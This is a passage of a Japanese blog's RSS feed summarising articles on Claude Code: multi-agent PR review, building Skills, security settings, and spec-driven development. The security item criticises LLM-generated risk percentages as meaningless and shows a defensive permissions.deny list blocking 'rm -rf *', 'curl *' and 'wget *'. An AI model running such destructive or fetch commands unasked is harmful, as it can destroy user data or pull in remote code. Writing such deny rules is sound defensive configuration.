+0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-review-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C-pr-%E3%81%AE%E3%83%90%E3%82%B0%E3%82%92%E7%8B%A9%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</guid><description>&lt;p&gt;Anthropic が Claude Code の新機能「Code Review」を発表した。PR が開かれると、&lt;strong&gt;複数のエージェントがチームとして並列にコードレビューを実行&lt;/strong&gt;し、人間が見落としがちなバグを検出する。開発者の Boris Cherny 氏（&lt;a href="https://x.com/bcherny"&gt;@bcherny&lt;/a&gt;）は「数週間使って、自分では気づかなかった本物のバグを何度も見つけてくれた」と&lt;a href="https://x.com/bcherny/status/2031089411820228645"&gt;報告している&lt;/a&gt;。&lt;/p&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;p&gt;PR がオープンされると、Code Review は以下のステップを実行する:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エージェントチームの派遣&lt;/strong&gt; — 複数のエージェントが並列に動き、それぞれ異なるクラスの問題（ロジックエラー、セキュリティ脆弱性、コード品質など）を探す&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証フェーズ&lt;/strong&gt; — 候補として検出された問題を実際のコード挙動と照合し、偽陽性をフィルタリングする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深刻度ランキング&lt;/strong&gt; — 検出された問題を重要度順に並べる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レビューコメント投稿&lt;/strong&gt; — PR に対してサマリーコメント 1 件と、具体的な問題箇所へのインラインコメントを投稿する&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;レビューの深さは PR の規模と複雑さに応じてスケールする。大きく複雑な変更にはより多くのエージェントが投入される。&lt;/p&gt;
&lt;h2 id="検出精度"&gt;検出精度&lt;/h2&gt;
&lt;p&gt;Anthropic 社内でのテスト結果:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;PR サイズ&lt;/th&gt;
&lt;th&gt;指摘ありの割合&lt;/th&gt;
&lt;th&gt;平均指摘数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;大規模（1,000行以上）&lt;/td&gt;
&lt;td&gt;84%&lt;/td&gt;
&lt;td&gt;7.5件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;小規模（50行未満）&lt;/td&gt;
&lt;td&gt;31%&lt;/td&gt;
&lt;td&gt;0.5件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;特筆すべきは&lt;strong&gt;誤検出率が 1% 未満&lt;/strong&gt;という点だ。エンジニアが「この指摘は間違い」と判定したケースがほとんどなく、検証フェーズによる偽陽性フィルタリングが効果的に機能していることを示している。&lt;/p&gt;
&lt;h2 id="なぜ必要なのか"&gt;なぜ必要なのか&lt;/h2&gt;
&lt;p&gt;Cherny 氏によれば、Anthropic のエンジニア一人あたりのコード出力は 2026 年に入って &lt;strong&gt;200% 増加&lt;/strong&gt;した。AI コーディングエージェントによってコード生成が加速する一方で、&lt;strong&gt;レビューがボトルネック&lt;/strong&gt;になっていた。人間のレビュアーが処理できる量には限界があり、AI が書いたコードも人間が書いたコードも、同じ品質基準でレビューする必要がある。&lt;/p&gt;
&lt;p&gt;Code Review はこの問題に対する Anthropic 自身の解答だ。まず社内で使い、効果を確認した上で外部に公開している。&lt;/p&gt;
&lt;h2 id="利用条件"&gt;利用条件&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対象プラン&lt;/strong&gt;: Team / Enterprise（Research Preview）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;料金&lt;/strong&gt;: トークン使用量に基づく従量課金。PR サイズと複雑さに応じて平均 $15〜25&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レビュー時間&lt;/strong&gt;: 約 20 分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セットアップ&lt;/strong&gt;: 管理者が GitHub App をインストールし、対象リポジトリを選択。開発者側の追加設定は不要&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;組織レベルでの月間支出上限、リポジトリ単位の有効化制御、レビュー受け入れ率の分析ダッシュボードも用意されている。&lt;/p&gt;</description></item><item><title>Claude Code Review — エージェントチームが PR のバグを狩る新機能</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-review-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C-pr-%E3%81%AE%E3%83%90%E3%82%B0%E3%82%92%E7%8B%A9%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-review-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C-pr-%E3%81%AE%E3%83%90%E3%82%B0%E3%82%92%E7%8B%A9%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</guid><description>&lt;p&gt;Anthropic が Claude Code の新機能「Code Review」を発表した。PR が開かれると、&lt;strong&gt;複数のエージェントがチームとして並列にコードレビューを実行&lt;/strong&gt;し、人間が見落としがちなバグを検出する。開発者の Boris Cherny 氏（&lt;a href="https://x.com/bcherny"&gt;@bcherny&lt;/a&gt;）は「数週間使って、自分では気づかなかった本物のバグを何度も見つけてくれた」と&lt;a href="https://x.com/bcherny/status/2031089411820228645"&gt;報告している&lt;/a&gt;。&lt;/p&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;p&gt;PR がオープンされると、Code Review は以下のステップを実行する:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エージェントチームの派遣&lt;/strong&gt; — 複数のエージェントが並列に動き、それぞれ異なるクラスの問題（ロジックエラー、セキュリティ脆弱性、コード品質など）を探す&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証フェーズ&lt;/strong&gt; — 候補として検出された問題を実際のコード挙動と照合し、偽陽性をフィルタリングする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深刻度ランキング&lt;/strong&gt; — 検出された問題を重要度順に並べる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レビューコメント投稿&lt;/strong&gt; — PR に対してサマリーコメント 1 件と、具体的な問題箇所へのインラインコメントを投稿する&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;レビューの深さは PR の規模と複雑さに応じてスケールする。大きく複雑な変更にはより多くのエージェントが投入される。&lt;/p&gt;
&lt;h2 id="検出精度"&gt;検出精度&lt;/h2&gt;
&lt;p&gt;Anthropic 社内でのテスト結果:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;PR サイズ&lt;/th&gt;
&lt;th&gt;指摘ありの割合&lt;/th&gt;
&lt;th&gt;平均指摘数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;大規模（1,000行以上）&lt;/td&gt;
&lt;td&gt;84%&lt;/td&gt;
&lt;td&gt;7.5件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;小規模（50行未満）&lt;/td&gt;
&lt;td&gt;31%&lt;/td&gt;
&lt;td&gt;0.5件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;特筆すべきは&lt;strong&gt;誤検出率が 1% 未満&lt;/strong&gt;という点だ。エンジニアが「この指摘は間違い」と判定したケースがほとんどなく、検証フェーズによる偽陽性フィルタリングが効果的に機能していることを示している。&lt;/p&gt;
&lt;h2 id="なぜ必要なのか"&gt;なぜ必要なのか&lt;/h2&gt;
&lt;p&gt;Cherny 氏によれば、Anthropic のエンジニア一人あたりのコード出力は 2026 年に入って &lt;strong&gt;200% 増加&lt;/strong&gt;した。AI コーディングエージェントによってコード生成が加速する一方で、&lt;strong&gt;レビューがボトルネック&lt;/strong&gt;になっていた。人間のレビュアーが処理できる量には限界があり、AI が書いたコードも人間が書いたコードも、同じ品質基準でレビューする必要がある。&lt;/p&gt;
&lt;p&gt;Code Review はこの問題に対する Anthropic 自身の解答だ。まず社内で使い、効果を確認した上で外部に公開している。&lt;/p&gt;
&lt;h2 id="利用条件"&gt;利用条件&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対象プラン&lt;/strong&gt;: Team / Enterprise（Research Preview）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;料金&lt;/strong&gt;: トークン使用量に基づく従量課金。PR サイズと複雑さに応じて平均 $15〜25&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レビュー時間&lt;/strong&gt;: 約 20 分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セットアップ&lt;/strong&gt;: 管理者が GitHub App をインストールし、対象リポジトリを選択。開発者側の追加設定は不要&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;組織レベルでの月間支出上限、リポジトリ単位の有効化制御、レビュー受け入れ率の分析ダッシュボードも用意されている。&lt;/p&gt;</description></item><item><title>Claude Code Skills 構築完全ガイド — Anthropic 公式 33 ページの要点まとめ</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-skills-%E6%A7%8B%E7%AF%89%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-anthropic-%E5%85%AC%E5%BC%8F-33-%E3%83%9A%E3%83%BC%E3%82%B8%E3%81%AE%E8%A6%81%E7%82%B9%E3%81%BE%E3%81%A8%E3%82%81/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-skills-%E6%A7%8B%E7%AF%89%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-anthropic-%E5%85%AC%E5%BC%8F-33-%E3%83%9A%E3%83%BC%E3%82%B8%E3%81%AE%E8%A6%81%E7%82%B9%E3%81%BE%E3%81%A8%E3%82%81/</guid><description>&lt;p&gt;Anthropic が公開した「The Complete Guide to Building Skills for Claude」は、Claude Code のスキル機能を本格的に活用するための 33 ページにわたる公式ガイドです。この記事では、ガイドの要点を日本語でまとめます。&lt;/p&gt;
&lt;h2 id="skills-とは何か"&gt;Skills とは何か&lt;/h2&gt;
&lt;p&gt;Skills は、Claude に特定のタスクやワークフローを教えるための &lt;strong&gt;再利用可能な指示セット&lt;/strong&gt; です。フォルダにパッケージ化され、一度作れば Claude.ai、Claude Code、API のすべてで動作します。&lt;/p&gt;
&lt;p&gt;従来のように毎回プロンプトで細かく指示する代わりに、Skills を使えば「一度教えて、何度でも使える」ようになります。&lt;/p&gt;
&lt;h2 id="skills-のファイル構造"&gt;Skills のファイル構造&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;my-skill/
├── SKILL.md # メインの指示ファイル（必須）
├── scripts/ # 補助スクリプト
├── references/ # 参考資料
└── assets/ # アセットファイル
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;重要なルール:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;メインファイルは必ず &lt;code&gt;SKILL.md&lt;/code&gt;（大文字小文字を区別）&lt;/li&gt;
&lt;li&gt;フォルダ名は kebab-case（例: &lt;code&gt;notion-project-setup&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;README.md は含めない&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="yaml-フロントマターの設計"&gt;YAML フロントマターの設計&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;SKILL.md&lt;/code&gt; の冒頭に YAML フロントマターを記述します。ここがスキルの「顔」になります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;deploy-checker&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;description&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;本番デプロイ前のチェックリストを実行する。デプロイや本番リリースの話題が出たときに使用する&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;description&lt;/code&gt; には &lt;strong&gt;何をするか&lt;/strong&gt; と &lt;strong&gt;いつ使うか&lt;/strong&gt; の 2 つを含めることが重要です。Claude はこのメタデータだけでスキルの使用タイミングを判断します。&lt;/p&gt;</description></item><item><title>Claude Codeの「セキュリティ%表示」は対策ではなく"お気持ち表示"？ 本当にやるべきセキュリティ設定</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A1%A8%E7%A4%BA%E3%81%AF%E5%AF%BE%E7%AD%96%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E3%81%8A%E6%B0%97%E6%8C%81%E3%81%A1%E8%A1%A8%E7%A4%BA-%E6%9C%AC%E5%BD%93%E3%81%AB%E3%82%84%E3%82%8B%E3%81%B9%E3%81%8D%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A8%AD%E5%AE%9A/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A1%A8%E7%A4%BA%E3%81%AF%E5%AF%BE%E7%AD%96%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E3%81%8A%E6%B0%97%E6%8C%81%E3%81%A1%E8%A1%A8%E7%A4%BA-%E6%9C%AC%E5%BD%93%E3%81%AB%E3%82%84%E3%82%8B%E3%81%B9%E3%81%8D%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A8%AD%E5%AE%9A/</guid><description>&lt;p&gt;Claude Codeでツール実行のたびに「パスワード漏洩リスク: 0%」「悪意あるコード実行リスク: 0%」のようなセキュリティリスクのパーセンテージを表示させるCLAUDE.mdの設定がSNSで話題になった。これに対し、セキュリティエンジニアから「それは対策ではなくお気持ち表示」という指摘が上がり、議論を呼んでいる。&lt;/p&gt;
&lt;h2 id="話題になったパーセンテージ表示"&gt;話題になった「パーセンテージ表示」&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://x.com/wan_line_"&gt;@wan_line_（ワン@AIのお兄さん）&lt;/a&gt;氏が2026年3月9日に投稿したポストでは、CLAUDE.mdに以下のようなルールを記述することが提案されていた:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ツール実行のたびに&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;パスワードが外に漏れる可能性: ○%&lt;/li&gt;
&lt;li&gt;外部サーバーにデータが送られる可能性: ○%&lt;/li&gt;
&lt;li&gt;悪意あるコードが動く可能性: ○%&lt;/li&gt;
&lt;li&gt;PCの設定が書き換わる可能性: ○%&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Codeで「yes連打」してしまうユーザー向けに、実行前にリスクを可視化してくれるという趣旨だ。&lt;/p&gt;
&lt;h2 id="セキュリティ専門家の反論お気持ち表示"&gt;セキュリティ専門家の反論:「お気持ち表示」&lt;/h2&gt;
&lt;p&gt;この投稿に対し、&lt;a href="https://x.com/sudachikawaii"&gt;@sudachikawaii（シンジ☁Shinji）&lt;/a&gt;氏が&lt;a href="https://x.com/sudachikawaii/status/2031304091486531843"&gt;反論した&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;セキュリティ屋から言うと、これは「対策」ではなく「お気持ち表示」です。LLMはコードの安全性を静的解析していないので、表示されるパーセンテージに技術的根拠がありません。&lt;/p&gt;
&lt;p&gt;「0%」を見てyes押すのは、yes連打と同じです。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;指摘のポイントは明快だ:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;LLMは静的解析エンジンではない&lt;/strong&gt; — LLMが出すパーセンテージは、コードを構文解析して脆弱性を検出した結果ではなく、「それっぽい数値」を生成しているだけ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;偽の安心感を与える&lt;/strong&gt; — 「0%」という表示を見てユーザーが安心してyesを押すなら、結局yes連打と変わらない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技術的根拠がない&lt;/strong&gt; — 実際のセキュリティリスク分析には、静的解析ツール（SAST）、依存関係チェック、ネットワーク通信の監視などが必要&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="claude-codeに本当に効くセキュリティ対策"&gt;Claude Codeに本当に効くセキュリティ対策&lt;/h2&gt;
&lt;p&gt;Claude Codeには、CLAUDE.mdの「お気持ちルール」よりもはるかに実効性のあるセキュリティ機能が組み込まれている。&lt;a href="https://code.claude.com/docs/ja/security"&gt;公式ドキュメント&lt;/a&gt;に基づき、本当にやるべき対策を整理する。&lt;/p&gt;
&lt;h3 id="1-サンドボックスを有効にする"&gt;1. サンドボックスを有効にする&lt;/h3&gt;
&lt;p&gt;最も重要な対策。Bashコマンドの実行をOSレベルで隔離し、ファイルシステムやネットワークへのアクセスを制限する。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;macOSではSeatbelt、LinuxではBubble Wrapが使用される&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/sandbox&lt;/code&gt; コマンドで有効化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-denyルールで危険なコマンドをブロック"&gt;2. denyルールで危険なコマンドをブロック&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;permissions.deny&lt;/code&gt; に実行禁止コマンドを明示的に設定する。評価順は &lt;strong&gt;deny → ask → allow&lt;/strong&gt; で、denyが最優先。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;permissions&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;deny&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Bash(command:rm -rf *)&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Bash(command:curl *)&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Bash(command:wget *)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="3-機密ファイルへのアクセスを遮断"&gt;3. 機密ファイルへのアクセスを遮断&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;.env&lt;/code&gt; やシークレットファイルへのアクセスをブロックする。&lt;/p&gt;</description></item><item><title>Claude Code時代の仕様書の役割 — ゼロトピック #337 から考える仕様駆動開発</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E6%99%82%E4%BB%A3%E3%81%AE%E4%BB%95%E6%A7%98%E6%9B%B8%E3%81%AE%E5%BD%B9%E5%89%B2-%E3%82%BC%E3%83%AD%E3%83%88%E3%83%94%E3%83%83%E3%82%AF-%23337-%E3%81%8B%E3%82%89%E8%80%83%E3%81%88%E3%82%8B%E4%BB%95%E6%A7%98%E9%A7%86%E5%8B%95%E9%96%8B%E7%99%BA/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E6%99%82%E4%BB%A3%E3%81%AE%E4%BB%95%E6%A7%98%E6%9B%B8%E3%81%AE%E5%BD%B9%E5%89%B2-%E3%82%BC%E3%83%AD%E3%83%88%E3%83%94%E3%83%83%E3%82%AF-%23337-%E3%81%8B%E3%82%89%E8%80%83%E3%81%88%E3%82%8B%E4%BB%95%E6%A7%98%E9%A7%86%E5%8B%95%E9%96%8B%E7%99%BA/</guid><description>&lt;p&gt;ゼロトピック（Zero Topic）の &lt;a href="https://open.spotify.com/episode/0YJIiXlVuv1ZMQgpooylXs"&gt;#337「Claude Code時代の仕様書の役割」&lt;/a&gt; が話題になっている。10X の矢本氏が、生成 AI が開発プロセスに与える影響と、仕様書の役割がどう変わるかを整理した回だ。&lt;/p&gt;
&lt;h2 id="バイブコーディングの限界と仕様駆動開発"&gt;バイブコーディングの限界と仕様駆動開発&lt;/h2&gt;
&lt;p&gt;Claude Code のようなAIコーディングエージェントの登場で、コード生成速度は飛躍的に向上した。しかし「バイブコーディング」— AI に任せて探索的にコードを生成するアプローチ — には問題がある。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;検証負債の蓄積&lt;/strong&gt;: AI の生成速度が人間の理解・検証速度を上回る&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;意図不明なコード増殖&lt;/strong&gt;: 内部構造を精査せず先に進み、誰も理解していない領域が広がる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デバッグ困難化&lt;/strong&gt;: コードの意図が不明では根本原因の特定が難しい&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;こうした課題に対する解が &lt;strong&gt;仕様駆動開発（Spec-Driven Development: SDD）&lt;/strong&gt; だ。Thoughtworks Technology Radar Vol.32（2025年4月）で Trial に採用されたこの手法は、「仕様を先に定義し、その仕様に基づいて AI にコードを生成させる」という原則に立つ。&lt;/p&gt;
&lt;h2 id="仕様書の役割の変化"&gt;仕様書の役割の変化&lt;/h2&gt;
&lt;p&gt;従来の設計書は人間同士のコミュニケーションツールだった。AI との協働では「AI への指示書」としての側面が加わる。&lt;/p&gt;
&lt;p&gt;SDD における仕様書の構成は、Kiro が提唱する3層モデルが分かりやすい:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ファイル&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;requirements.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ユーザーストーリーと受け入れ基準&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;design.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;アーキテクチャ、シーケンス、設計上の注意&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tasks.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;実装計画とタスク分解&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;重要なポイントは、仕様は &lt;strong&gt;「唯一の情報源（Single Source of Truth）」&lt;/strong&gt; として機能し、プロセス駆動はルールブック（プロセスルール）が別途担当するという区別だ。&lt;/p&gt;
&lt;h2 id="claude-code-での実践"&gt;Claude Code での実践&lt;/h2&gt;
&lt;h3 id="基礎レベル-claudemd--ステアリングファイル"&gt;基礎レベル: CLAUDE.md + ステアリングファイル&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;CLAUDE.md&lt;/code&gt; に制約・規約・コンテキストを定義&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.steering/&lt;/code&gt; 配下に作業バッチフォルダを作成&lt;/li&gt;
&lt;li&gt;要件定義書・設計書・タスクリストを生成・保存&lt;/li&gt;
&lt;li&gt;タスクに沿ってコード生成・テスト実施&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="応用レベル-カスタムコマンドの活用"&gt;応用レベル: カスタムコマンドの活用&lt;/h3&gt;
